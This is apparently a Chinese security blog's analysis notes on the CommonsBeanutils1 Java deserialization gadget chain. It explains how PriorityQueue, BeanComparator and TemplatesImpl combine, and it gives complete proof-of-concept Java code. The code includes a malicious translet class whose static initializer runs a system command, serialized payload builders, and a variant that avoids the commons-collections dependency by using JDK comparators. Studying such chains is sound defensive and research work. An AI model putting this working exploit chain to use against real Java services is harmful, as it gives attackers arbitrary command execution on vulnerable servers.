CommonsBeanutils1 分析笔记
阅读原文时间:2023年07月09日阅读:1

commons-beanutils-1.9.2.jar 包下的 PropertyUtils#getProperty方法相对于getXxx方法,取得其值。

来试下该方法功能

public class Person {
    private String name;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

...

public class PropertyUtilsTest {
    @Test
    public void test() throws Exception{
        Person p = new Person();
        p.setName("liangzi");
        String name =(String) PropertyUtils.getProperty(p, "name");
        System.out.println(name);
    }
}

我们知道通过 TemplatesImplbytecodes字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,可以造成任意命令执行。

TemplatesImpl 类中存在 getOutputProperties方法

可以通过PropertyUtils.getProperty 来构造如下代码

package com.test.serialize;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.PropertyUtils;
import org.junit.Test;

import java.lang.reflect.Field;

public class TempletesTest {

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] classToBytes() throws Exception{
        byte[] bytes = ClassPool.getDefault().get(RunCmd.class.getName()).toBytecode();
        return bytes;
    }

    @Test
    public void test() throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name", "Pwnr");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        setFieldValue(templates,"_bytecodes",new byte[][]{classToBytes()});
        PropertyUtils.getProperty(templates,"outputProperties");
    }
}

...

RunCmd 恶意类

package com.test.serialize;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class RunCmd extends AbstractTranslet{
    static {
        try {
            Runtime.getRuntime().exec(new String[]{"cmd","/c","notepad.exe"});
        } catch (Exception e){
            e.printStackTrace();
        }
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

正常执行命令。

1、通过ysoserial 可以发现使用了 PriorityQueue 对象,所以我们来到 PriorityQueue#readObject 方法

2、在 BeanComparator 类中存在 compare 方法,该方法中有使用 PropertyUtils.getProperty 方法

我们目标是要进去到 PropertyUtils.getProperty 方法中,首先需要有调用 compare的地方,同时 property!=null,继续回到 PriorityQueue#readObject 中,看到 heapify() 方法

流程如下

heapify -> siftDown -> siftDownUsingComparator(k, x) -> comparator.compare((E) c, (E) queue[right])

comparator 由 PriorityQueue 构造方法传入,所以我们传入 BeanComparator 对象即可进去到BeanComparator 类的 compare 方法

构造payload

package com.test.serialize;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.junit.Test;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class TemplatesTest2 {

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] classToBytes() throws Exception{
        byte[] bytes = ClassPool.getDefault().get(RunCmd.class.getName()).toBytecode();
        return bytes;
    }

    @Test
    public void test() throws Exception{

        BeanComparator beanComparator = new BeanComparator();

        PriorityQueue queue = new PriorityQueue(2, beanComparator);
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name", "Pwnr");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        setFieldValue(templates,"_bytecodes",new byte[][]{classToBytes()});
        setFieldValue(queue,"size",2);
        setFieldValue(queue,"queue",new Object[]{templates, templates});
        setFieldValue(beanComparator, "property", "outputProperties");

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(queue);
        oos.close();

        System.out.println(bos);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
        ois.readObject();

    }
}

在maven中加入如下配置,再次运行上面的poc

<exclusions>
    <exclusion>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
    </exclusion>
</exclusions>

java.lang.NoClassDefFoundError: org/apache/commons/collections/comparators/ComparableComparator

所以这里我们要传入非 collections包中的 ComparableComparator

需要满足下面条件

  • 实现java.util.Comparator接口
  • 实现java.io.Serializable接口

获取实现了comparator 并可序列化的类

import org.junit.Test;
import org.reflections.Reflections;

import java.io.Serializable;
import java.util.Comparator;
import java.util.Set;

public class ClassUtil {
    @Test
    public void test() {
        Reflections reflections1 = new Reflections("java.*");
        Set<Class<? extends Comparator>> comparatorclasses = reflections1.getSubTypesOf(Comparator.class);
        Reflections reflections2 = new Reflections("java.*");
        Set<Class<? extends Serializable>> serializableclasses = reflections1.getSubTypesOf(Serializable.class);

        for (Class clazz : comparatorclasses) {
//            System.out.println("Found: " + clazz.getName());
            for (Class serialclazz : serializableclasses){
                if(serialclazz.getName().equals(clazz.getName())){
                    System.out.println(clazz.getName());
                }
            }
        }
    }
}

得出

java.util.Comparators$NaturalOrderComparator
javax.swing.plaf.basic.BasicTreeUI$TreeTransferHandler
java.util.Collections$ReverseComparator2
java.util.Comparators$NullComparator
java.util.Collections$ReverseComparator
java.lang.String$CaseInsensitiveComparator
javax.swing.LayoutComparator

java.util.Collections.java

package com.test.serialize;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.junit.Test;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Collections;
import java.util.PriorityQueue;

public class TemplatesTest2 {

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] classToBytes() throws Exception{
        byte[] bytes = ClassPool.getDefault().get(RunCmd.class.getName()).toBytecode();
        return bytes;
    }

    @Test
    public void test() throws Exception{

        BeanComparator beanComparator = new BeanComparator(null,Collections.reverseOrder());// 或 BeanComparator beanComparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);

        PriorityQueue queue = new PriorityQueue(2, beanComparator);
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name", "Pwnr");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        setFieldValue(templates,"_bytecodes",new byte[][]{classToBytes()});
        setFieldValue(queue,"size",2);
        setFieldValue(queue,"queue",new Object[]{templates, templates});
        setFieldValue(beanComparator, "property", "outputProperties");

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(queue);
        oos.close();

        System.out.println(bos);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
        ois.readObject();

    }
}